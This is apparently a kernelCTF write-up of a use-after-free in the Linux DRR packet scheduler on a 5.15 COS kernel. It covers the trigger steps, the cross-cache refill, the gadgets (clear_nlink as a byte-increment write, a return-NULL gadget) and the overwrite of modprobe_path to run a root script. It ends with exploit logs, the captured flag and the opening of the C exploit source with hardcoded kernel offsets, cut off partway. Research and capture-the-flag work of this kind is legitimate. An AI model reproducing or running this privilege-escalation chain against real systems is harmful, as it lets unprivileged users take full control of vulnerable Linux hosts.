[   26.106059]  ? __list_del_entry_valid+0x7a/0x140
[   26.107056]  __list_del_entry_valid+0x7a/0x140
[   26.108001]  drr_qlen_notify+0x60/0xd0
[   26.108812]  qdisc_tree_reduce_backlog+0xf6/0x1f0
[   26.109827]  drr_delete_class+0x16e/0x2a0

We finally have a UAF and it happens when you go to delete class 1:1. So the PoC was entirely correct the whole time, and it was my bad kernel config and my assumptions about what must be happening (an impossible UAF on the qdisc) that led me astray for so long. As you can see from the backtrace, we know this code path well. This is the exact code path that leads to the initial list del bug we encountered when we were deleting class 1:3.

So now everything clicked for me. When we delete class 1:1 it is trying to unlink its alist list_head from the drr scheduler’s active list and when it does its list_del sanity checks, it’s accessing the freed 1:3 class’s list_head that remains in the active list even though we destroyed class 1:3. This is because we never removed it from the active list, the list_del we attempted tried to unlink class 3:1’s list_head instead. So this is where the UAF access comes from.

So now can we reason about how to exploit the UAF. From here, I created a similar PoC in my exploit just to make sure I had the right constituent parts but was able to reduce the complexity a bit because in hindsight, the bug is quite simple once you understand all of the moving parts. There are aspects of my exploit setup that are not strictly required, but keeping it relatively close to the PoC helped me initially and then I just left the code in there.

Here are the steps I followed to trigger the bug:

1. Create a root qdisc for the loopback interface that is of type drr
2. Create class 1:1 of type drr
3. Create class 1:3 of type drr
4. Assign a plug qdisc to class 1:1
5. Assign a pfifo (default type) qdisc to 1:3, this will be our reparented buggy qdisc later
6. Create class 1:2 of type drr and reparent 1:3’s qdisc to 1:2, triggering the bug
7. Enqueue packets in 1:1 and 1:2, this will place 1:1 and 1:2 class alist list_head nodes in the scheduler’s active list
8. Delete class 1:1, I do this first because it will require sane list_head values for class 1:2 when it removes itself from the active list
9. Delete class 1:2, this will fail to remove 1:2’s list_head from the active list but will free the class
10. ?? Profit

So now we have to find out how the active list is used so that we can see how we can access our freed class that has a reference cached in the active list. A quick grep for active in sch_drr.c will lead you to drr_dequeue:

static struct sk_buff *drr_dequeue(struct Qdisc *sch)
{
	struct drr_sched *q = qdisc_priv(sch);
	struct drr_class *cl;
	struct sk_buff *skb;
	unsigned int len;

	if (list_empty(&q->active))	// [1]
		goto out;
	while (1) {
		cl = list_first_entry(&q->active, struct drr_class, alist); // [2]
		skb = cl->qdisc->ops->peek(cl->qdisc); // [3]
		if (skb == NULL) {
			qdisc_warn_nonwc(__func__, cl->qdisc);
			goto out;
		}

		len = qdisc_pkt_len(skb);
		if (len <= cl->deficit) {
			cl->deficit -= len;
			skb = qdisc_dequeue_peeked(cl->qdisc);
			if (unlikely(skb == NULL))
				goto out;
			if (cl->qdisc->q.qlen == 0)
				list_del(&cl->alist);

			bstats_update(&cl->bstats, skb);
			qdisc_bstats_update(sch, skb);
			qdisc_qstats_backlog_dec(sch, skb);
			sch->q.qlen--;
			return skb;
		}

		cl->deficit += cl->quantum;
		list_move_tail(&cl->alist, &q->active);
	}
out:
	return NULL;
}

• [1]: This function gets invoked whenever a packet is received on the root drr qdisc’s interface and the way the drr algorithm works is it looks through its active packet flows and tries to dequeue packets based on the requirements of each active class. It first checks to make sure there are actually active classes on the scheduler’s active list. Our buggy class is on the active list thankfully because of class 1:1 making sure that no packets are dequeued by virtue of its plug qdisc. So tip of the cap to the patch author and Lion Ackermann, thank you!

• [2]: In a while loop, we first get a handle to the first struct drr_class on the active list. Since we deleted class 1:1 who had packets enqueued in its plug qdisc first, this first class should be our UAF class

• [3]: This is is what caught my eye, since we have a UAF on cl, we potentially can hijack RIP here since we can possibly control the entirety of cl->qdisc->ops->peek() and replace peek() with a function of our choice

Now it was time to develop an exploit plan.

Exploit Plan

Seeing that we invoke cl->qdisc->ops->peek(), I was confident that I could hijack execution. This turned out to be entirely true, at this point I told some friends that all I had to do was some ROP and I’d be on my way to capturing the flag. This turned out to be entirely false and completing the exploit was a lot more difficult than I anticipated. The main issue I had trying to ROP was that I couldn’t find a stack-pivot gadget that worked with our register control at the time that we hijack execution in order for us to start ROP’ing:

$rax   : 0xffffffff81356310					// [1]
$rbx   : 0xffff88800f295bd0					// [2]
$rcx   : 0x20000           
$rdx   : 0x0               
$rsp   : 0xffffc9000188baf0
$rbp   : 0xffff888006d19e00
$rsi   : 0x0               
$rdi   : 0xffffffff84267b88					// [3]
$rip   : 0xffffffff81d71bd8
$r8    : 0x1               
$r9    : 0xffffc9000188bb90
$r10   : 0xffff88800f2719e0
$r11   : 0xffff888006b6a660
$r12   : 0xffff888006d19f40
$r13   : 0x0               
$r14   : 0xffff888006d19e00
$r15   : 0xffff888006d19e00
$eflags: [zero CARRY parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0xffffffff81d71bcc <drr_dequeue+44> mov    rdi, QWORD PTR [rbx+0x10]
   0xffffffff81d71bd0 <drr_dequeue+48> mov    rax, QWORD PTR [rdi+0x18]
   0xffffffff81d71bd4 <drr_dequeue+52> mov    rax, QWORD PTR [rax+0x38]
 → 0xffffffff81d71bd8 <drr_dequeue+56> call   rax

Here I’m showing you the GDB output when we we’re about to call rax which is when we call the peek that we hijack. We have the following register control:

• [1]: rax ends up being the function address we want to call, so any ROP stack pivot that utilizes rax would be self-referential in a way that made it difficult to find an appropriate gadget

• [2]: rbx ends up being an address inside our UAF class. This is great for us as this could represent a way to stack-pivot since we control the contents around this address; however, I was unable to find any stack pivot gadgets that help us here

• [3]: rdi ends up being the address of the UAF class’s qdisc. Again, this would great for us because we control this memory but I was unable to find an appropriate stack pivot gadget

To be quite honest, I didn’t spend too much time trying to make ROP work, there were perhaps gadgets or strategies that I didn’t think of or consider that would’ve enabled me to use ROP but I gave up pretty quickly, probably a couple hours or so of looking. I figured with our precise control over rdi and the fact that we have what amounts to an arbitrary function call primitive, I felt like there had to be gadgets (single function calls) we could leverage to capture the flag.

First thing is first, I knew from other entries and players that I didn’t really have to worry about KASLR as a barrier, because I could always just use the Entrybleed side-channel, so I didn’t invest any time in trying to think of other ways to defeat KASLR. There was also the possibility that we use the WARN() splat from the invalid list_del which ends up showing us register values containing heap pointers, our PID (on COS instances we spawn inside a namespace jail and we don’t know our real pid), and a kernel text pointer that could be used to defeat KASLR. I thought this was sort of inelegant but never crossed it off my list of possibilities. Luckily I was able to complete the exploit without resorting to this.

With that settled, I moved onto what we should do to refill the freed class so that we could control what function is called. I identified the nft_table->udata field as a nice elastic object that is 100% user-controlled back in around 2023 that could be used as a refill object for kmalloc slab caches up to kmalloc-256, but never got the chance to use it. Kernel devs eventually turned this allocation into a GFP_KERNEL_ACCOUNT allocation, so it can’t be used any more if the slab caches are separate to replace general kmalloc-128 objects like our class. But on the Google COS instance which runs a 5.15.173+ kernel, the allocation was non-accounted so I decided to use it.

With this refill object, we can now fake 100% of the UAF class, which is obviously helpful. The problem is that due to the multiple pointer dereferences in the indirect call to cl->qdisc->ops->peek, we also need to control data at a known location from the kernel base. I first looked for an opportunity to use RetSpill to smuggle user controlled values into my kernel stack, but we end up in our gadget via a sendto syscall which unfortunately doesn’t happen to spill any user values onto the kernel stack, at least from what I could tell. Next I settled on using the kernfs_pr_cont_buf, which I learned about in the kCTF Discord from @roddux. They had read this writeup which contained the details. Basically, if your kernel has CONFIG_NETFILTER_XT_MATCH_CGROUP, which kCTF instances do, then you can store up to PATH_MAX user controlled data a known offset from the kernel base. This is insane actually and makes exploitation so much easier. The best part is the data there is very mutable, you can just keep resetting its contents. You can accomplish this by establishing an iptables match rule on a cgroup file path, and the file path gets stored as data in the buffer. The only catch is that the buffer is meant to store a path name, thus, any NULL could terminate your data buffer. So this is something I had to account for in my exploit.

Now we seemingly had everything we needed to explore what function to call. We had our fake class which was in nft_table->udata and our fake qdisc and its ops table at a known address in kernfs_pr_cont_buf. The next thing I wanted to accomplish at this point was to determine what side-effects hijacking execution here brought with it. So I used our function call primitive to just call a ret gadget, and see where we end up. We immediately blow up in drr_dequeue for a few reasons:

static struct sk_buff *drr_dequeue(struct Qdisc *sch)
{
	struct drr_sched *q = qdisc_priv(sch);
	struct drr_class *cl;
	struct sk_buff *skb;
	unsigned int len;

	if (list_empty(&q->active))
		goto out;
	while (1) {
		cl = list_first_entry(&q->active, struct drr_class, alist);
		skb = cl->qdisc->ops->peek(cl->qdisc);				// [1]
		if (skb == NULL) {
			qdisc_warn_nonwc(__func__, cl->qdisc);
			goto out;
		}

		len = qdisc_pkt_len(skb);					// [2]
		if (len <= cl->deficit) {					// [3]
			cl->deficit -= len;					// [4]
			skb = qdisc_dequeue_peeked(cl->qdisc);			// [5]
			if (unlikely(skb == NULL))
				goto out;					// [6]
			if (cl->qdisc->q.qlen == 0)
				list_del(&cl->alist);

			bstats_update(&cl->bstats, skb);
			qdisc_bstats_update(sch, skb);
			qdisc_qstats_backlog_dec(sch, skb);
			sch->q.qlen--;
			return skb;						// [7]
		}

		cl->deficit += cl->quantum;
		list_move_tail(&cl->alist, &q->active);				// [8]
	}
out:
	return NULL;
}

Once we call our simple ret gadget during our experiment we return to [1] where the return value is interpreted as a pointer to a sk_buff. This could be a problem for us because whatever gadget we use could do something with the return value that is supposed to be stored in rax. In our experiment, our function doesn’t touch rax, we just return, so rax still points to a function address. So it definitely isn’t NULL. Since it’s not NULL we progress to [2], this ends up being something like a read of skb field value, like a skb->len, so this will return a value from reading executable text in our case, because rax is a function address. At [3] we see that if that value it reads from the kernel text is less than or equal to our fake class deficit value, we enter this if statement body at [4]. Here, we are actually decrementing a value in our fake class, so this will write to our nft_table->udata refill object. That is notable because that is an immutable refill object, once we refill (allocate it) we have no way of resetting/changing its contents. We then see a call to qdisc_deqeueue_peeked in [5], which we will get into in a second, and if that returns NULL, we can escape this hell-hole of a function at [6]. Separately, if we make it to [7], which would incur several memory accesses to our fake qdisc, we return a non-NULL pointer value. My goal from the start was that if we were to restore execution gracefully and as simply as possible, we would be required to return NULL from this function so that the calling function had nothing to do with the results of our hijacked execution. We can see even more list manipulation at [8] so I wanted to avoid this at all costs.

Let’s then go check on the call to qdisc_dequeue_peeked which takes a pointer to our fake qdisc as its argument in [5]:

/* use instead of qdisc->dequeue() for all qdiscs queried with ->peek() */
static inline struct sk_buff *qdisc_dequeue_peeked(struct Qdisc *sch)
{
	struct sk_buff *skb = skb_peek(&sch->gso_skb);			// [1]

	if (skb) {							// [2]
		skb = __skb_dequeue(&sch->gso_skb);
		if (qdisc_is_percpu_stats(sch)) {
			qdisc_qstats_cpu_backlog_dec(sch, skb);
			qdisc_qstats_cpu_qlen_dec(sch);
		} else {
			qdisc_qstats_backlog_dec(sch, skb);
			sch->q.qlen--;
		}
	} else {
		skb = sch->dequeue(sch);				// [3]
	}

	return skb;
}

We see that we get a pointer to another sk_buff by calling skb_peek() on the gso_skb field of our fake qdisc. This is good news for us, because that means that this outcome is probably somewhat controllable for us since we control the entirety of the fake qdisc. We’ll examine skb_peek() in a second. If we return a non-NULL socket buffer from skb_peek, we then go on to call __skb_dequeue with the pointer to gso_skb and it goes on to do more list manipulation and memory accesses on the fake qdisc. This looked very unattractive to me compared to yet another indirect function call in sch->deuque(sch) which we should be able to again hijack because we control the fake qdisc. So at this point I’m thinking:

1. We hijack execution in two places: once in drr_dequeue and once in qdisc_dequeue_peeked
2. We can use the first hijacking to do something useful
3. We can use the second hijacking to restore execution in some way gracefully

So the first thing I tried was killing my task in the first hijacking spot just to make sure it was possible to do. I tried a few tricks that other players have used and ended up trying use do_exit as the way to kill my task which is whatever task I use to send a packet to the loopback interface which triggers the call to drr_dequeue. The problem is that I hit this code block:

if (unlikely(in_interrupt()))
		panic("Aiee, killing interrupt handler!");

This means that we hijack execution in an interrupt context, likely from the interrupt caused by the loopback interface receiving a packet. So these types of tricks that typically apply to a normal process context don’t apply here, and I don’t have powerful enough primitives (we’re just limimted to two function calls, not a full ROP chain) to remove my task from an interrupt context. So my plan was to just exit the dequeue function normally by returning NULL if possible.

To see if this is feasible, we need to see where and how we can reach the sch->dequeue inside of qdisc_dequeue_peeked which is our 2nd hijack spot. We need skb_peek(&sch->gso_skb) to return NULL:

static inline struct sk_buff *skb_peek(const struct sk_buff_head *list_)
{
	struct sk_buff *skb = list_->next;

	if (skb == (struct sk_buff *)list_)
		skb = NULL;
	return skb;
}

Turns out this is just a simple check to see if a list head element points to itself, indicating that the list is empty. We can actually do this because we control the fake qdisc. So as long as at the offset for &sch->gso_skb the value there points its own address, we can return a NULL from this function. That lands us right into sch->dequeue, our 2nd hijack spot. Our goal is to have qdisc_dequeue_peeked return NULL, so we need this arbitrary function call to return NULL or 0. So now we need two gadgets or function calls:

1. A function call that does something useful with our control over rdi
2. A function call that simply returns NULL or 0 to restore execution gracefully within drr_dequeue

Gadget Hunting

I assumed finding the 2nd gadget would be easy, a function call that simply returns 0 or NULL; however, it still took me some time to find. The first thought I had was let’s just find a function like this:

void function(struct foo *obj) {
	return obj->field;
}

This would be easy, we control the entirety of the memory pointed to by struct foo * and we can just simply read a field that returns 0. But then I remembered that I can’t really have NULL values in my kernfs_pr_cont_buf because its interpreted as a path name when it’s sent. So I skipped this idea. What would be even better is a function like this:

void function(struct foo *obj) {
	return obj->field->val;
}

This would be perfect, we could just have field point to something that is guaranteed to be 0, such as the end of our kernfs_pr_cont_buf where a NULL value is no issue. I found just that in this function:

static unsigned int
sch_frag_dst_get_mtu(const struct dst_entry *dst)
{
	return dst->dev->mtu;
}

So now we have our “return NULL gadget” and it was time to find our “do something useful gadget”. I played around with the idea for a long time of using this first hijack spot to perform an arbitrary free to upgrade our limited class UAF to something more useful, a more generalized UAF. I would need something like this probably:

void function(struct foo *obj) {
	kfree(obj->ptr);
	return;
}

I quickly abandoned this idea though because I didn’t have a leaked heap pointer to point the kfree at, I didn’t want to resort to using leaked pointers from our WARN() splat because it felt like cheating. So then I became determined to find an arbitrary write gadget. With the arbitrary write gadget, I would be able to overwrite modprobe_path to point to a file I control and read the flag from the container host. This has been done in numerous wasy in the kCTF program so I knew it was feasible. Now began the hard work of finding a write gadget.

Finding an Arbitrary Write Function

Finding the write function took me a very long time. I was looking for a function that took a single pointer argument and derived a write from its contents, I was looking for something like this:

void function(struct foo *obj) {
	u64 *location = obj->field;
	*location = obj->value;
}

This would derive both the “what” and the “where” in the write from rdi which we control as our fake qdisc. To start searching I just started thinking about what data structures in the kernel are humongous and often self-contained logic-wise, ie, likely to passed to a function by themselves. I narrowed my search down to the following structure types: socket buffers, files, directory entries, inodes, and a few others. Cycling through these subsystems and grepping for patterns, I eventually found this function:

void clear_nlink(struct inode *inode)
{
	if (inode->i_nlink) {
		inode->__i_nlink = 0;
		atomic_long_inc(&inode->i_sb->s_remove_count);
	}
}

This fits our needs perfectly, if a field in the passed in inode is not NULL, which we prefer, then increment the value at inode->i_sb->s_remove_count as if its a u64 value. An increment is a type of limited write primitive, we’re able to target a single byte at a time with this primitive and increment it until it reaches a desired value and then we can move onto the next byte. So my goal became:

1. Use the increment primitive to increment the first character of /sbin/modprobe in kernel memory
2. Use the return NULL hijack to exit gracefully from drr_dequeue
3. Send another packet to repeat until /sbin/modprobe is overwritten to something we control

One iteration of this worked perfect, and I was able to check after the iteration and see that /sbin/modprobe had become 0sbin/modprobe in memory. So the concept worked, but now we have other problems, we need to execute this code path dozens of times because we need to do a lot of incrementing. We want /sbin/modprobe to become something like /proc/500/fd/3 where pid 500 is a pid of ours and fd 3 is a privilege escalation script that gets executed when the kernel tries to invoke the modprobe_path.

So let’s revisit drr_dequeue and identify the spots that cause problems:

static struct sk_buff *drr_dequeue(struct Qdisc *sch)
{
	struct drr_sched *q = qdisc_priv(sch);
	struct drr_class *cl;
	struct sk_buff *skb;
	unsigned int len;

	if (list_empty(&q->active))
		goto out;
	while (1) {
		cl = list_first_entry(&q->active, struct drr_class, alist);
		skb = cl->qdisc->ops->peek(cl->qdisc);				
		if (skb == NULL) {
			qdisc_warn_nonwc(__func__, cl->qdisc);
			goto out;
		}

		len = qdisc_pkt_len(skb);					// [1]
		if (len <= cl->deficit) {					// [2]
			cl->deficit -= len;					// [3]
			skb = qdisc_dequeue_peeked(cl->qdisc);			
			if (unlikely(skb == NULL))
				goto out;					
			if (cl->qdisc->q.qlen == 0)
				list_del(&cl->alist);

			bstats_update(&cl->bstats, skb);
			qdisc_bstats_update(sch, skb);
			qdisc_qstats_backlog_dec(sch, skb);
			sch->q.qlen--;
			return skb;						
		}

		cl->deficit += cl->quantum;
		list_move_tail(&cl->alist, &q->active);				
	}
out:
	return NULL;
}

To execute this code path over and over, we need to make sure we always enter the if statement body. So we always need len <= cl->deficit to be true. Remember that len is derived from reading a value at some offset in the kernel text next to our arbitrary write gadget address, so we have 0 control over this value that is returned. But we do control cl->deficit with our nft_table->udata, so we can make sure that is always 0xffffffff. Awesome, we’re good to go. Nope, at [3] that value is decremented in place by len, so that memory is access and written to. This is a big problem for me, nft_table->udata is immutable, I have no way of updating that value to reset it.

At this point, I realized I’d have to completely redo my strategy for refilling the UAF class. I should’ve done this from the beginning but I was so stupidly attached to this idea of using nft_table->udata because I had discovered it independently a couple years ago and had some weird sense of pride in being able to finally use it. I decided to get the entire victim class object page sent back to the page allocator and reclaim the page with a pipe buffer page backing as I had done previously in my last kCTF exploit. This would give me mutable memory that I could reset every iteration.

But there was also another detail in the path in our write gadget:

void clear_nlink(struct inode *inode)
{
	if (inode->i_nlink) {
		inode->__i_nlink = 0;
		atomic_long_inc(&inode->i_sb->s_remove_count);
	}
}

This gadget NULLs out the value at inode->__i_nlink and we require that value to be non-NULL in order to do the increment. So this would have to be reset as well. Ontop of that, we also need to slide the write-target as we succesfully increment each character of /sbin/modprobe until its /proc/500/fd/3. So we’ll need to reset the kernfs_pr_cont_buf memory each iteration as well, which is not as big of a deal since that is easily doable with iptables.

So now the exploit plan was clear:

1. Increment a single byte of the modprobe_path string
2. Reset the page backing of all of the pipes we have allocated pages for, one of them has reclaimed our freed page containing the victim UAF class, so that we can update cl->deficit to 0xffffffff
3. Reset the kernfs_pr_cont_buf contents to give inode->i_nlink a non-NULL value
4. Possibly reset the target pointed to by s_remove_count if we have incremented the current character enough in the modprobe_path string
5. Repeat until finished

Putting It All-Together

Instead of messing with any arithmetic for determining how to increment each /sbin/modprobe byte until it becomes /proc/500/fd/3, I just simulated each write in my exploit program. So I created a local copy of /sbin/modprobe and a local copy of /proc/500/fd/3 and I simulated the increment logic one iteration at a time, making sure to actually execute the increment in kernel space as well. This way, I could basically just do the increment blind and know when it was done without doing any arithmetic really. Probably better ways to do this, but this was my first idea and it worked really well for me. This actually worked first try and I successfully got /sbin/modprobe changed to /proc/500/fd/3.

In the namespace jail, you don’t know your pid ahead of time so I had to use a trick suggested in the kCTF discord by @pqlpql a while ago which is to just spray a certain amount of child processes and guess a pid which is likely one of those children. This is very simple and clever and works very well because when you get a shell on the kCTF COS instance, we are using a fresh-boot so pids are very predictable. I found that spraying 500 child pids would reliably mean that pid 500 would be one of your children processes.

Using this, at the beginning of our exploit we just need the sprayed children to open a privesc script that will be run with kernel privileges so that their /proc/self/fd/3 would be the privesc script. And to read the flag I basically just made the script do: cat /flag > /proc/500/fd/0 and had all of the children do blocking reads on their STDIN file descriptors. Whoever is pid 500 would print the flag contents to the terminal and it worked first try:

[>] Dropping scripts...
[>] Spraying child pids...
[>] Kernel base address: 0xffffffffa6000000
[>] Kernfs buffer address: 0xffffffffa9267b80
[>] Arbitrary write gadget address: 0xffffffffa6356310
[>] Modprobe path address: 0xffffffffa8662e80
[>] Return NULL gadget address: 0xffffffffa6d4ab80
[>] Doing the unshare...
[>] Bringing up lo interface...
[>] Pinning our process to core-0...
[>] Starting UDP listener...
[>] Creating pipes...
[>] Setting up initial classes...
[>] Creating root qdisc...
[>] Creating class 1:1...
[>] Creating class 1:3...
[>] Assigning plug qdisc to class 1:1...
[>] Assigning pfifo qdisc to class 1:3...
[>] Executing cross-cache stage-1...
[>] Executing cross-cache stage-2...
[>] Allocating victim class 1:2...
[>] Executing bug to reparent qdisc to 1:2 from 1:3...
[>] Displaying hierarchy setup...
class drr 1:1 root leaf 2: quantum 64Kb 
class drr 1:2 root leaf 3: quantum 64Kb 
class drr 1:3 root leaf 3: quantum 64Kb 
qdisc drr 1: dev lo root refcnt 2 
qdisc plug 2: dev lo parent 1:1 
qdisc pfifo 3: dev lo parent 1:3 refcnt 2 limit 1000p
[>] Enqueueing packets in 1:1 and 1:2...
[   10.508490] drr_dequeue: plug qdisc 2: is non-work-conserving?
[>] Deleting classes 1:1 and 1:2 and then cross-cache stage-3...
[   10.519000] ------------[ cut here ]------------
[   10.521778] list_del corruption, ffff8fdd50a008d0->next is NULL
[   10.525296] WARNING: CPU: 0 PID: 784 at lib/list_debug.c:49 __list_del_entry_valid+0x59/0xd0
[   10.530218] Modules linked in:
[   10.532091] CPU: 0 PID: 784 Comm: tc.bin Not tainted 5.15.173+ #1
[   10.535676] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-2 04/01/2014
[   10.540545] RIP: 0010:__list_del_entry_valid+0x59/0xd0
[   10.543555] Code: 48 8b 00 48 39 f8 75 67 48 8b 52 08 48 39 c2 75 74 b8 01 00 00 00 c3 cc cc cc cc 48 89 fe 48 c7 c7 80 71 cf a7 e8 e3a
[   10.554231] RSP: 0018:ffffa1020168b940 EFLAGS: 00010282
[   10.557286] RAX: 0000000000000000 RBX: ffff8fdd50a00880 RCX: 0000000000000000
[   10.561417] RDX: 0000000000000000 RSI: ffffa1020168b770 RDI: 00000000ffffffea
[   10.565575] RBP: 0000000000010003 R08: 00000000ffffdfff R09: 0000000000000001
[   10.570036] R10: 00000000ffffdfff R11: ffffffffa8669da0 R12: 0000000000000001
[   10.574238] R13: ffff8fdd44f8e000 R14: ffffffffa7ad11e0 R15: 0000000000010000
[   10.578407] FS:  000000001a406880(0000) GS:ffff8fdd5c400000(0000) knlGS:0000000000000000
[   10.583118] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   10.586532] CR2: 00000000005a6cc0 CR3: 0000000110d5a003 CR4: 0000000000370ef0
[   10.590718] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   10.594898] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[   10.599087] Call Trace:
[   10.600704]  <TASK>
[   10.602011]  ? __warn+0x81/0x100
[   10.603979]  ? __list_del_entry_valid+0x59/0xd0
[   10.606673]  ? report_bug+0x99/0xc0
[   10.608785]  ? handle_bug+0x34/0x80
[   10.610901]  ? exc_invalid_op+0x13/0x60
[   10.613228]  ? asm_exc_invalid_op+0x16/0x20
[   10.615710]  ? __list_del_entry_valid+0x59/0xd0
[   10.618473]  drr_qlen_notify+0x12/0x50
[   10.620778]  qdisc_tree_reduce_backlog+0x84/0x160
[   10.623558]  drr_delete_class+0x104/0x210
[   10.625959]  tc_ctl_tclass+0x488/0x5a0
[   10.628214]  ? exc_page_fault+0x76/0x140
[   10.630556]  rtnetlink_rcv_msg+0x21e/0x350
[   10.633230]  ? security_sock_rcv_skb+0x31/0x50
[   10.635869]  ? rtnl_calcit.isra.0+0x130/0x130
[   10.638517]  netlink_rcv_skb+0x4e/0x100
[   10.640868]  netlink_unicast+0x231/0x370
[   10.643209]  netlink_sendmsg+0x250/0x4b0
[   10.645546]  __sock_sendmsg+0x5c/0x70
[   10.647746]  ____sys_sendmsg+0x25a/0x2a0
[   10.650116]  ? import_iovec+0x17/0x20
[   10.652338]  ___sys_sendmsg+0x96/0xd0
[   10.654575]  __sys_sendmsg+0x76/0xc0
[   10.656746]  do_syscall_64+0x3d/0x90
[   10.658970]  entry_SYSCALL_64_after_hwframe+0x6c/0xd6
[   10.662043] RIP: 0033:0x4e7697
[   10.663880] Code: 64 89 02 48 c7 c0 ff ff ff ff eb bb 0f 1f 80 00 00 00 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 2e 00 000
[   10.674696] RSP: 002b:00007ffc56673e38 EFLAGS: 00000246 ORIG_RAX: 000000000000002e
[   10.679091] RAX: ffffffffffffffda RBX: 0000000067ae1e0c RCX: 00000000004e7697
[   10.683247] RDX: 0000000000000000 RSI: 00007ffc56673ea0 RDI: 0000000000000043
[   10.687411] RBP: 00007ffc56674fb0 R08: 00000000005978a0 R09: 000000001a4102b0
[   10.691609] R10: 000000001a4082a0 R11: 0000000000000246 R12: 0000000000578448
[   10.695807] R13: 000000000054449b R14: 00000000005af620 R15: 0000000000000001
[   10.699977]  </TASK>
[   10.701360] ---[ end trace 8e001f66f1703586 ]---
[>] Executing cross-cache stage-4...
[>] Executing cross-cache stage-5 and reclaiming page...
[>] Overwriting modprobe path...
[   11.859455] xt_cgroup: invalid path, errno=-2
[   11.864787] xt_cgroup: invalid path, errno=-2
[   11.869782] xt_cgroup: invalid path, errno=-2
[   11.874720] xt_cgroup: invalid path, errno=-2
[   11.879548] xt_cgroup: invalid path, errno=-2
[   11.884427] xt_cgroup: invalid path, errno=-2
[   11.889362] xt_cgroup: invalid path, errno=-2
[   11.894300] xt_cgroup: invalid path, errno=-2
[   11.899125] xt_cgroup: invalid path, errno=-2
[   11.904009] xt_cgroup: invalid path, errno=-2
[   16.861299] cgroup_mt_check_v2: 2317 callbacks suppressed
[   16.861303] xt_cgroup: invalid path, errno=-2
[   16.869908] xt_cgroup: invalid path, errno=-2
[   16.875051] xt_cgroup: invalid path, errno=-2
[   16.880257] xt_cgroup: invalid path, errno=-2
[   16.885424] xt_cgroup: invalid path, errno=-2
[   16.890615] xt_cgroup: invalid path, errno=-2
[   16.896175] xt_cgroup: invalid path, errno=-2
[   16.901367] xt_cgroup: invalid path, errno=-2
[   16.906582] xt_cgroup: invalid path, errno=-2
[   16.911806] xt_cgroup: invalid path, errno=-2
[>] Modprobe path is *probably* overwritten lol!
kernelCTF{v1:cos-105-17412.535.34:SNIPPED}
./trigger.sh: 1: ����: not found
user@cos-105-17412:/tmp$ ^C

Thanks && Misc

Huge thanks to all the kCTF moderators like Jordy and KT who answer all my questions and are very charitable. Also big thanks to my friends Chompie and Firzen for being my sounding board and supportive. Also thanks to Pumpkin for always helping me and answering DMs.

The exploit has some artifacts in it still that are there because I did initial development work on a 6.* kernel version and then switched to a kCTF bzImage which is kernel version 5.*, there is also all of the nftables code in the exploit still for spraying tables with userdata, I just kept that code in there to do the kmalloc-128 page reservation required to get my victim page sent back to the allocator. In a way, I did finally get to use table->udata.

Exploit

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sched.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/xfrm.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/utsname.h>
#include <sys/resource.h>
#include <sys/wait.h>

#include <libmnl/libmnl.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <libnftnl/table.h> 

// Kernel base address
uint64_t g_kernel_base = 0;

// Address of kernfs_pr_cont_buf
uint64_t g_kernfs_addr = 0;

// Address of the offset from kernel base for kernfs_pr_cont_buf
uint64_t kernfs_addr_off_6 = 0x3691a80;
uint64_t kernfs_addr_off_5 = 0x3267b80;

// Offset for entry_SYSCALL_64_offset
uint64_t g_entry_syscall_off = 0;

// Based on kernel version
uint64_t entry_syscall_off_6 = 0x1400040;
uint64_t entry_syscall_off_5 = 0x1200080;

// Our arbitrary write gadget clear_nlink
uint64_t g_write_gadget_addr = 0;

// Based on kernel version
uint64_t write_gadget_off_5 = 0x356310;
uint64_t write_gadget_off_6 = 0;

// Modprobe path addr
uint64_t g_modprobe_addr = 0;

// Based on kernel version 
uint64_t modprobe_off_5 = 0x2662e80;
uint64_t modprobe_off_6 = 0;

// A mutable write target that we use to overwrite modprobe one byte at a time
uint64_t g_write_target = 0;

// Our Return NULL gadget
uint64_t g_null_gadget_addr = 0;

// Based on kernel version
uint64_t null_gadget_off_5 = 0xd4ab80;
uint64_t null_gadget_off_6 = 0;

// We target [rax + 0x450] with our gadget, so we subtract this from the ptr
// value in our fake buffer
#define WRITE_TARGET_OFFSET 0x450UL

// Pin our process (and children from system() / fork()) to core-0
void pin_to_core_0() {
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(0, &mask);

    if (sched_setaffinity(0, sizeof(mask), &mask) < 0) {
        perror("sched_setaffinity");
        exit(-1);
    }
}

// Write to a file so we can set our user ids
int write_mapping(const char *path, const char *content) {
    int fd = open(path, O_WRONLY);
    if (fd == -1) {
        printf("Failed to open %s: %s\n", path, strerror(errno));
        return -1;
    }
    
    if (write(fd, content, strlen(content)) != strlen(content)) {
        printf("Failed to write to %s: %s\n", path, strerror(errno));
        close(fd);
        return -1;
    }
    close(fd);
    return 0;
}

// Unshare our namespaces so that we can get the caps we want
void unshare_stuff(void) {
    // Unshare into new user namespace
    if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == -1) {
        printf("unshare failed: %s\n", strerror(errno));
        exit(-1);
    }

    // First disable setgroups
    if (write_mapping("/proc/self/setgroups", "deny") == -1) {
        printf("Failed to disable setgroups\n");
        exit(-1);
    }

    // Then map our UID and GID
    if (write_mapping("/proc/self/uid_map", "0 1000 1") == -1 ||
        write_mapping("/proc/self/gid_map", "0 1000 1") == -1) {
        printf("Failed to write ID mappings\n");
        exit(-1);
    }

    // Bring up the loopback interface
    printf("[>] Bringing up lo interface...\n");
    if (system("./ip.bin link set lo up") != 0) {
        printf("Failed to bring up loopback interface.\n");
        exit(-1);
    }
}

// Start listener
void start_udp_listener(void) {
    system("nohup ./socat.bin -u UDP-RECV:8888 STDOUT >/dev/null 2>&1 &");
}

